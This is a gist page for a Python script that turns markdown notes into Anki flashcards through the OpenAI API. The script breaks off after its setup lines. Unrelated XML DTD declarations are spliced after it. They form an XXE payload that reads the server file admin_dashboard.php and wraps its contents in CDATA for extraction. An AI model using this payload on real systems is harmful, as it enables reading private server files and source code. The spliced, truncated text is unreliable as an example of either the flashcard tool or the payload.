Skip to content

Instantly share code, notes, and snippets.

View Uzay-G's full-sized avatar

Uzay-G Uzay-G

View GitHub Profile
@Uzay-G
Uzay-G / ankify.py
Last active January 7, 2024 17:23
Auto generate Anki flashcards based on a directory of markdown
from pathlib import Path
import openai
import tiktoken
from langchain.text_splitter import RecursiveCharacterTextSplitter
import yaml
# program that reads MD files, calls OpenAI API with GPT 4 to generate flashcards for a knowledge base ANKI deck
config = yaml.safe_load(open("ankify.yml"))
directory = Path(config["base_dir"])
encoding = tiktoken.encoding_for_model("gpt-4")
<!ENTITY % file SYSTEM "file:///var/www/html/skygenerator/public/admin_dashboard.php">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">